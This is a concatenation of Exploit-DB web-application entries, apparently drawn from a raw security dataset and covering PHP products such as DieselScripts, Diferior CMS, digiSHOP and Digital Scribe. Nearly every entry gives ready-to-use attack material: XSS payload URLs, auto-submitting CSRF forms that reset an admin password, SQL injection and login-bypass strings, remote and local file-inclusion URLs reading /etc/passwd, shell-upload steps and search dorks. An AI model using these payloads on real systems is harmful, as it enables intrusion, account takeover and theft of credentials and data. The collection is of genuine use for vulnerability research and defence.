deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10673
Description: DieselScripts jokes - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : jokes Cross Site Scripting Vulnerability                                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Copyright © 2004 äßÊ ÓÚæÏí Ýí Èí . Powered by DieselScripts.com         |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://server/jokes/more.php?by=1<img+src=http://server/matrix.bmp+onload=alert[PII_REDACTED]60)>
| 2-http://server/jokes/picture_category.php?id=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #28419
Description: DieselScripts Smart Traffic - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-21
Author: night_warrior771

Exploit:
source: https://www.securityfocus.com/bid/19630/info

Smart Traffic is prone a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[Script Path]/clients/index.php?src=http://www.example.com
Exploit-DB #14353
Description: Diferior CMS 8.03 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-13
Author: 10n1z3d

Exploit:
<!---
    Title: Diferior CMS 8.03 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Tue 13 Jul 2010 11:50:32 AM EEST
    Vendor: http://diferior.com/
    Download: http://diferior.com/post_files/news/diferior-8-03-released/Diferior_v8.03.tar.gz
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Diferior CMS 8.03 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/user/profile/pass.html" method="post">
                <!--- You can change cust_user to change the password of other user --->
                <input type="hidden" name="cust_user" value="admin" />
                <input type="hidden" name="pass1" value="rootroot" />
                <input type="hidden" name="pass2" value="rootroot" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Change Admin Email ]=-
    
    <html>
        <head>
            <title>Diferior CMS 8.03 Multiple CSRF Vulnerabilities - Change Admin Email</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/user/profile/email.html" method="post">
                 <!--- You can change cust_user to change the email of other user --->
                <input type="hidden" name="cust_user" value="admin" />
                <input type="hidden" name="email1" value="root@root.com" />
                <input type="hidden" name="email2" value="root@root.com" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 3 - Ban User ]=-
    
    <html>
        <head>
            <title>Diferior CMS 8.03 Multiple CSRF Vulnerabilities - Ban User</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/user/ban/[username]/2.html" method="post">
                <input type="hidden" name="warned" value="on" />
                <input type="hidden" name="noleech" value="on" />
                <input type="hidden" name="banned" value="on" />
            </form>
        </body>
    </html>

-=[ CSRF PoC 4 - Logout The User/Administrator ]=-

    <img src="http://[domain]/user/logoff.html" alt="Do you see this?" />

<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #47914
Description: Digi AnywhereUSB 14 - Reflective Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-01-13
Author: Raspina Net Pars Group

Exploit:
# Exploit Title: Digi AnywhereUSB 14 - Reflective Cross-Site Scripting
# Date: 2019-11-10
# Exploit Author: Raspina Net Pars Group
# Vendor Homepage: https://www.digi.com/products/networking/usb-connectivity/usb-over-ip/awusb
# Version: 1.93.21.19
# CVE : CVE-2019-18859

# PoC

GET //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


# Author Website: HTTPS://RNPG.info
Exploit-DB #35223
Description: Digi Online Examination System 2.0 - Unrestricted Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-11-13
Author: Halil Dalabasmaz

Exploit:
# Exploit Title:  Digi Online Examination System Unrestricted File Upload Vulnerability
# Date: 12-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v2.0
# Software Link: http://codecanyon.net/item/digi-online-examination-system-does/8610180
# Software Test Link: http://s1.digitalvidhya.com/doesv2/

# Vulnerabilities Description:

===Unrestricted File Upload===
You can upload your shell from "Photo" section while register the system. And then chekc your shell from here; http://example.com/assets/uploads/images/shellname.php

=Solution=
Filter the files aganist to attacks.
Exploit-DB #38234
Description: DigiLIBE - Execution-After-Redirect Information Disclosure
Type: webapps
Platform: php
Date: 2013-01-22
Author: Robert Gilbert

Exploit:
source: https://www.securityfocus.com/bid/57499/info

DigiLIBE is prone to a remote information-disclosure vulnerability.

Successful exploits may allow the attacker to bypass authentication and gain access to potentially sensitive information. This may aid in further attacks.

DigiLIBE 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/configuration/general_configuration.html
Exploit-DB #34877
Description: DigiOz Guestbook 1.7.2 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44237/info

DigiOz Guestbook is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

DigiOz Guestbook 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/guestbook/search.php
Put: "><script>alert(document.cookie);</script>
Exploit-DB #30087
Description: Digirez 3.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-05-25
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/24157/info

Digirez is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Digirez 3.4 is vulnerable to these issues. 

http://www.example.com/room/info_book.asp?Room_name='><script>alert(1);</script> http://www.example.com/room/week.asp?curYear='><script>alert(1);</script>
Exploit-DB #15405
Description: digiSHOP 2.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-03
Author: Silic0n

Exploit:
 
-----------------------------------
		             TM	  |
  ___ ___          _______ 	  |
 |   Y   | ______ |       |	  |
 |.  1   ||______||.|   | |	  |
 |.  _   |        `-|.  |-'	  |
 |:  |   |          |:  |  	  |
 |::.|:. |          |::.|  	  |
 `--- ---'          `---'  	  |
	Private Place Of 0days    |
-----------------------------------
 
^Exploit Title  : 
^Date       	: 23/7/2010
^Vendor Site    : http://digishop.digisoft77.com/
^MOD Version    : digiSHOP 2.0.2
^Author         : Silic0n (science_media017[At]yahoo.com)
^Team Site  	: www.hacking-truths.net
^Dork		: inurl:cart.php?m=features&id=
------------------------------------------------------------------------------
Special Thnanks To Jackh4x0r , Gaurav_raj420 , Mr 52 (7) , Dalsim , Zetra , haZl0oh , root4o, Belma(sweety) ,Danzel, 
messsy , ,abronsius ,Nova ,ConsoleFx , Exi , Beenu , R4cal , jaya ,@ry@n,[]0iZy5 & All my friends .
 
My Frnd Site : www.igniteds.net , www.anti-intruders.org (Will Be Up Very Soon) 
----------------------------------->Exploit<----------------------------------
 
0x1: Goto http://{localhost}/{Shop path}/cart.php?m=features&id=-15+Union+Select+1,2,@@version,4,5,6,7

MySql Version : 4.1.22-log 

Now Use Brain.Exe (7) To extract the Other information 
this exploit is only education Purpose only ,author or team member is not responsible for any harm

------------------------------------------------------------------------------
Exploit-DB #28738
Description: Digishop 4.0 - 'cart.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-02
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20297/info

digiSHOP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

This issue affects version 4.0.0; other versions may also be vulnerable.

http://www.example.com/shopping-cart-software/cart.php?m=product_list&pageNumber=&c=190&v=[&sortBy=[xss]&search=[xss]
Exploit-DB #47401
Description: DIGIT CENTRIS 4 ERP - 'datum1' SQL Injection
Type: webapps
Platform: php
Date: 2019-09-19
Author: n1x_

Exploit:
# Exploit Title: DIGIT CENTRIS 4 ERP - 'datum1' SQL Injection
# Date: 2019-09-19
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: http://www.digit-rs.com/
# Product Homepage: http://digit-rs.com/centris.html
# Version: Every version
# CVE : N/A

# Vulnerable parameters: datum1, datum2, KID, PID 

# [POST REQUEST]
 
POST /korisnikinfo.php HTTP/1.1
Content-Length: 65
Content-Type: application/x-www-form-urlencoded
Referer: http://host
Host: host
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
 
ListaPDF=Lista%20u%20PDF&datum1=1'"&datum2=01.01.2001'"&KID=1'"&PID=1'"
Exploit-DB #36322
Description: Digital Attic Foundation CMS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-20
Author: tempe_mendoan

Exploit:
source: https://www.securityfocus.com/bid/50735/info

Digital Attic Foundation CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[SQL]
Exploit-DB #12568
Description: Digital College 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-11
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Digital College 1.0 upload Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                                                                                                                                    
| # Dork     : Powered by Digital College 1.0 - Magtrb Soft 2010                                                                                                                 
| # Tested on: windows SP2 Français V.(Pnx2 2.0)        
| # Bug      : Upload  
| # Download : http://www.magtrb.com/                                                                   
======================      Exploit By indoushka       =================================
# Exploit  :  

1 - Go To http://127.0.0.1/upload/includes/js/files/

2 - use the Simple example

you need to Creat a simple file uploader whith html lang and upload it to the sever
==================================================
<html>
<head><title>File Upload Tester</title></head>
<body>

<form  enctype="multipart/form-data" action="test.html" method="post">	
<tr>
  <td  valign="top" align="center">
	<table border=0 align="center" cellpadding=3>
	<tr><td><input type="file" name="userfile[0]"></td></tr>
	<tr><td><input type="file" name="userfile[1]"></td></tr>
	<tr><td><input type="file" name="userfile[2]"></td></tr>
	<tr><td colspan=2 align="center">
		<input type="hidden" name="sessionid" value="<?= $sid ?>">
		<input type="submit">
	</td></tr></table>
</td>
</tr>
<tr><td>
<p  align="center">Please visit <a href="">http://www.iqs3cur1ty.com</a> by indoushka. 
</p>


</table>


</form>

</body>
</html>
==============================================================

3 - http://127.0.0.1/upload/includes/js/files/upload.php (2 Upload)

    http://127.0.0.1/upload\includes\js\files\files\uploader.html    (2 Find It)

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team : (loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R * www.alkrsan.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #3533
Description: Digital Eye CMS 0.1.1b - 'module.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-21
Author: Cold Zero

Exploit:
######################################################
#
# Digital Eye Gallery 1.1 Beta (module.php menu) Remote File Include Vulnerabilities
#
######################################################
#
# script : http://mamboxchange.com/frs/download.php/7469/digital_eye_cms.1.1BETA.tar.gz
#
######################################################
#
# file :  /module.php
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell Crew
#
######################################################
#
# require_once( $menu . '.php' );
#
######################################################
#
# exploit : http://www.example.com/digitaleye_Path/module.php?menu=Evil-script?
#
######################################################
#
#
#
----#  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
#              |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
#              |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
#              | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper |
#              All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-21]
Exploit-DB #31701
Description: Digital Hive 2.0 - 'base.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28918/info

Digital Hive is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Digital Hive 2.0 RC2 is vulnerable; other versions may also be affected.

http://www.example.com/a/hive_v2.RC2/base.php?page=membres.php&mt=[XSS]
Exploit-DB #31804
Description: Digital Hive 2.0 - 'base_include.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-16
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29255/info

Digital Hive is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

Digital Hive 2.0 RC2 is vulnerable; other versions may also be affected. 

http://www.example.com/hive_v2.0_RC2/template/purpletech/base_include.php?page=../../etc/passwd
Exploit-DB #26262
Description: Digital Scribe 1.4 - Login SQL Injection
Type: webapps
Platform: php
Date: 2005-09-15
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14843/info

Digital Scribe is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following is sufficient to gain administrative privileges:
login: " or isnull(1/0) /*
password: [whatever]
Exploit-DB #10383
Description: Digital Scribe 1.4.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-12-11
Author: Salvatore Fresta

Exploit:
Digital Scribe 1.4.1 Multiple SQL Injection Vulnerabilities

 Name              Digital Scribe
 Vendor            http://www.digital-scribe.org
 Versions Affected 1.4.1

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-12-11

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE


I. ABOUT THE APPLICATION

The Digital Scribe is a free, intuitive system designed to
help teachers put  student work  and homework  assignments
online.


II. DESCRIPTION

This  application  is  affected   by  many  SQL  Injection
security flaws. In order to exploit they, the Magic Quotes
GPG (php.ini) must  be  Off  except one.
I tested 1.4.1 version only, however other versions may be
also vulnerable.


III. ANALYSIS

Summary:

 A) Multiple SQL Injection

A) Multiple SQL Injection

Multiple SQL Injection issues  has been found  in  Digital
Scribe version 1.4.1  and  no authentication  is  required
in order to exploit these vulnerabilities.
The most  issues  required  the Magic Quotes GPG setted to
off except one (stuworkdisplay.php).
For semplicity  I reported only  this  last one vulnerable
code.

Vulnerable code:

........

 $show = mysql_query("SELECT * FROM ".$conf['tbl']['projecttable']."
WHERE(ID=$HTTP_GET_VARS[ID])");

........


IV. SAMPLE CODE

http://site/path/stuworkdisplay.php?ID=-1) UNION ALL SELECT
version(),user(),3,4,5,6,7,8,9,10,11%23


V. FIX

$id = intval($_GET['ID']);
$show = mysql_query("SELECT * FROM ".$conf['tbl']['projecttable']."
WHERE(ID=$id)");


VIII. DISCLOSURE TIMELINE

2009-12-11 Bug discovered
2009-12-11 Initial vendor contact
2009-12-11 Advisory Release
Exploit-DB #23103
Description: Digital Scribe 1.x - Error Function Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-09-05
Author: Secunia

Exploit:
source: https://www.securityfocus.com/bid/8551/info

A problem has been reported in the checking of input by Digital Scribe, potentially allow for cross-site scripting attacks. Because of this, it may be possible for an attacker to steal cookie authentication credentials or launch other attacks. 

http://www.example.com/login.php?error=<script>(document.cookie)</script>
Exploit-DB #2398
Description: Digital WebShop 1.128 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-19
Author: ajann

Exploit:
# Title  :  Digital WebShop = v1.128 Multiple Remote File Include Vulnerabilities
# Author :   ajann
# Script Page : http://digitalwebshop.dyndns.org

# Exploit;
*******************************************************************************
[Files]
rechnung.php
prepend.php
[/Files]

[Code,1]
prepend.php Error:

// include Werzeuge
..
....
require_once($_PHPLIB["libdir"] . "phpDB-mysql.lib");                   /*
Mysql Class*/
require_once($_PHPLIB["libdir"] . "messages_inc.php");                  /*
Layout f?r Echos & Prints. */
....
..

Key [:] _PHPLIB[libdir]=http://target.com/command.php?

\Example:

http://target.com/rechnung.php?_PHPLIB[libdir]=http://target.com/command.php?

# ajann,Turkey
# ...
# Im not Hacker!

# milw0rm.com [2006-09-19]
Exploit-DB #9115
Description: Digitaldesign CMS 0.1 - Remote Database Disclosure
Type: webapps
Platform: php
Date: 2009-07-10
Author: darkjoker

Exploit:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Digitaldesign CMS v0.1 Database Disclosure Vulnerability

[+] Author  : darkjoker
[+] Site    : http://darkjoker.net23.net
[+] Download: http://sourceforge.net/projects/ddcms/

[+] URL     : http://[hostname]/[CMS path]/autoconfig.dd
[+] Ex.     : http://localhost/ddcms/autoconfig.dd

# milw0rm.com [2009-07-10]
Exploit-DB #33482
Description: DigitalHive - 'mt' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-10
Author: ViRuSMaN

Exploit:
source: https://www.securityfocus.com/bid/37697/info

DigitalHive is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/base.php?page=membres.php&mt=[Xss Vuln]